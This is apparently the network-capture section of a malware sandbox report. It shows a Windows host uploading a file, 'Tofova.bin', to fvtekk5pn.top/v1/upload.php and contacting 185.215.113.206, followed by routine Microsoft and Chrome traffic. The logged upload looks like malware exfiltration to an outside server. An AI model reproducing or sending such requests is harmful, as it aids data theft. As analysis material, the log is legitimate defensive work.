Nov 26, 2024 10:11:13.485383987 CET	34239	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtekk5pn.top Accept: / Content-Length: 34058 Content-Type: multipart/form-data; boundary=------------------------BfunYyHaRBsB2ByNAFRfoo Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 42 66 75 6e 59 79 48 61 52 42 73 42 32 42 79 4e 41 46 52 66 6f 6f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 54 6f 66 6f 76 61 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 9f 96 e5 9b 95 65 93 2d 9e d5 9e c3 cd 81 27 6b f6 1c fa c3 f0 72 51 a3 b2 c0 c2 57 73 63 4e 4b 84 d8 e0 df 2c 74 1e a5 22 f1 44 0c 44 c0 42 e5 bc 3f 11 65 77 3c e1 8d 7d cf 35 69 6e 7e 00 95 0c 1a d1 6f 7b b4 f1 f7 c6 0c 9d 6a b2 40 1d aa da 8c 4d a5 01 cf e9 11 1b 96 42 83 97 af de 1c 31 ff 74 25 06 33 25 ba ee 49 a8 86 1e 36 19 74 f2 74 f9 9e 5b d2 0b 2a df 55 19 55 5b 30 76 88 bd 2b 67 9a 1d 43 d9 5a 24 03 34 7c 6a 4d 51 39 18 5c 9a 97 ca fa 80 d6 0b b9 f0 6c e2 fb 35 3b 7a 88 2a 89 06 a9 86 63 90 61 8d fc 18 b6 b3 39 73 61 [TRUNCATED] Data Ascii: --------------------------BfunYyHaRBsB2ByNAFRfooContent-Disposition: form-data; name="file"; filename="Tofova.bin"Content-Type: application/octet-streame-'krQWscNK,t"DDB?ew<}5in~o{j@MB1t%3%I6tt[UU[0v+gCZ$4\|jMQ9\l5;zca9sa\|F-rVR)8"^(d%o@H;?P#V:GG9$S k3/ Rh^n[[4h%7_M:tA]cHCZ2 YH{kE:0L\h'ba0.av=v"\bE\|+!pB=v+f@b3fPZ~Pw;kBJ_V)[]XSS%SyHm>fp#efd+'zSgymr=K{2;[e723y~R2qo I6v%1$<La}k0!O6:$i;QvB0c*I5!+SyxaiT>KKk%-ftq!W+s[$buDy\]#f`kHpTKxWvfPHP]v+WAU>>G;wcojcptvO6;:($8KEqPU{; [TRUNCATED]
Nov 26, 2024 10:11:14.087277889 CET	222	IN	HTTP/1.1 401 Unauthorized server: nginx/1.24.0 (Ubuntu) date: Tue, 26 Nov 2024 09:11:13 GMT content-type: text/html; charset=utf-8 content-length: 0 www-authenticate: Basic etag: W/"0-2jmj7l5rSw0yVb/vlWAYkK/YBwk"

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.5	50182	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 10:11:27.970227957 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.5	49710	20.190.147.4	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:08:57 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-26 09:08:57 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-26 09:08:57 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 26 Nov 2024 09:07:57 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BL2 x-ms-request-id: ddff95cc-b3e1-4184-9ce4-dec8128be650 PPServer: PPV: 30 H: BL02EPF0001D8B0 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 26 Nov 2024 09:08:56 GMT Connection: close Content-Length: 1918
2024-11-26 09:08:57 UTC	1918	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.5	49712	20.189.173.22	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:08:59 UTC	178	OUT	POST /Telemetry.Request HTTP/1.1 Connection: Keep-Alive User-Agent: MSDW MSA_DeviceTicket_Error: 0x80004004 Content-Length: 5110 Host: umwatson.events.data.microsoft.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49714	142.250.181.68	443	2300	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:08 UTC	623	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCJDKzQEIucrNAQi/0c0BCIrTzQEI0NbNAQio2M0BCPnA1BUYj87NARi60s0BGMLYzQEY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 09:09:09 UTC	1266	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:09 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce--iGXVULWUWVN6KZ2xYLOEg' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-26 09:09:09 UTC	124	IN	Data Raw: 33 32 38 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 6e 66 6c 20 70 6c 61 79 6f 66 66 20 70 69 63 74 75 72 65 22 2c 22 6e 79 74 20 73 74 72 61 6e 64 73 20 68 69 6e 74 73 20 6e 6f 76 65 6d 62 65 72 20 32 35 22 2c 22 64 69 73 6e 65 79 20 64 72 65 61 6d 6c 69 67 68 74 20 76 61 6c 6c 65 79 20 73 74 6f 72 79 62 6f 6f 6b 20 76 61 6c 65 22 2c 22 63 72 79 70 74 6f 63 75 72 72 65 6e Data Ascii: 328)]}'["",["nfl playoff picture","nyt strands hints november 25","disney dreamlight valley storybook vale","cryptocurren
2024-11-26 09:09:09 UTC	691	IN	Data Raw: 63 79 20 73 68 69 62 61 20 69 6e 75 22 2c 22 72 6f 63 6b 65 74 20 6c 61 75 6e 63 68 20 73 70 61 63 65 78 20 66 61 6c 63 6f 6e 20 39 22 2c 22 61 6e 64 72 65 74 74 69 20 63 61 64 69 6c 6c 61 63 20 66 31 20 74 65 61 6d 22 2c 22 61 6d 65 72 69 63 61 6e 20 61 69 72 6c 69 6e 65 73 20 67 61 74 65 20 6c 69 63 65 22 2c 22 6e 79 74 20 63 6f 6e 6e 65 63 74 69 6f 6e 73 20 68 69 6e 74 73 20 6e 6f 76 65 6d 62 65 72 20 32 35 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 Data Ascii: cy shiba inu","rocket launch spacex falcon 9","andretti cadillac f1 team","american airlines gate lice","nyt connections hints november 25"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlb
2024-11-26 09:09:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49713	142.250.181.68	443	2300	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:08 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49715	142.250.181.68	443	2300	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:08 UTC	526	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCJDKzQEIucrNAQi/0c0BCIrTzQEI0NbNAQio2M0BCPnA1BUYj87NARi60s0BGMLYzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 09:09:09 UTC	1119	IN	HTTP/1.1 200 OK Version: 698674578 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Save-Data Accept-CH: Downlink Accept-CH: ECT Accept-CH: RTT Accept-CH: Device-Memory Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 26 Nov 2024 09:09:09 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-26 09:09:09 UTC	271	IN	Data Raw: 31 64 33 38 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 1d38)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-26 09:09:09 UTC	1390	IN	Data Raw: 75 30 30 33 64 5c 22 67 62 5f 50 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 6b 64 20 67 62 5f 6f 64 20 67 62 5f 46 64 20 67 62 5f 6c 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 Data Ascii: u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabind
2024-11-26 09:09:09 UTC	1390	IN	Data Raw: 72 6f 6c 65 5c 75 30 30 33 64 5c 22 70 72 65 73 65 6e 74 61 74 69 6f 6e 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 Data Ascii: role\u003d\"presentation\"\u003e\u003c\/span\u003e\u003c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdi
2024-11-26 09:09:09 UTC	1390	IN	Data Raw: 68 3f 73 6f 75 72 63 65 5c 75 30 30 33 64 6e 74 70 5c 22 20 74 61 72 67 65 74 5c 75 30 30 33 64 5c 22 5f 74 6f 70 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 73 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 Data Ascii: h?source\u003dntp\" target\u003d\"_top\" role\u003d\"button\" tabindex\u003d\"0\"\u003e \u003csvg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42
2024-11-26 09:09:09 UTC	1390	IN	Data Raw: 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 36 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 Data Ascii: ,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM6,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0
2024-11-26 09:09:09 UTC	1390	IN	Data Raw: 74 72 6f 6c 2d 6c 61 62 65 6c 30 22 2c 22 6c 65 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 31 22 2c 22 6c 65 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 37 38 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 2c 31 30 32 31 31 38 39 34 30 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 Data Ascii: trol-label0","left_product_control-label1","left_product_control-label2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700278,3700949,3701384,102118940],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"pri
2024-11-26 09:09:09 UTC	267	IN	Data Raw: 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 5c 6e 2a 2f 5c 6e 76 61 72 20 49 64 3b 5f 2e 47 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 61 2e 6c 65 6e 67 74 68 3b 69 66 28 62 5c 75 30 30 33 65 30 29 7b 63 6f 6e 73 74 20 63 5c 75 30 30 33 64 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 Data Ascii: nse-Identifier: Apache-2.0\n*/\nvar Id;_.Gd\u003dfunction(a){const b\u003da.length;if(b\u003e0){const c\u003dArray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).t
2024-11-26 09:09:09 UTC	326	IN	Data Raw: 31 33 66 0d 0a 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4b 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 7d 7d 3b 5f 2e 4c 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 4b 64 28 5c 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 48 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 66 68 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 4d 64 5c 75 30 30 33 64 5b 49 64 28 5c 22 64 61 Data Ascii: 13f()\u003d\u003d\u003da+\":\")};_.Jd\u003dglobalThis.trustedTypes;_.Kd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i}};_.Ld\u003dnew _.Kd(\"about:invalid#zClosurez\");_.Hd\u003dclass{constructor(a){this.fh\u003da}};_.Md\u003d[Id(\"da
2024-11-26 09:09:09 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 61 5c 75 30 30 33 64 5c 75 30 30 33 65 2f 5e 5b 5e 3a 5d 2a 28 5b 2f 3f 23 5d 7c 24 29 2f 2e 74 65 73 74 28 61 29 29 5d 3b 5f 2e 4e 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 2b 5c 22 5c 22 7d 7d 3b 5f 2e 4f 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 4e 64 28 5f 2e 4a 64 3f 5f 2e 4a 64 2e 65 6d 70 74 79 48 54 4d 4c 3a 5c 22 5c 22 29 3b 5c 6e 7d 63 61 74 63 68 28 65 29 7b 5f 2e 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 7d 5c 6e 74 72 79 7b 5c 6e 76 61 72 20 53 64 2c 66 65 2c 52 64 2c 54 64 2c 59 64 3b 5f 2e 50 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 Data Ascii: 8000a\u003d\u003e/^[^:]*([/?#]\|$)/.test(a))];_.Nd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i+\"\"}};_.Od\u003dnew 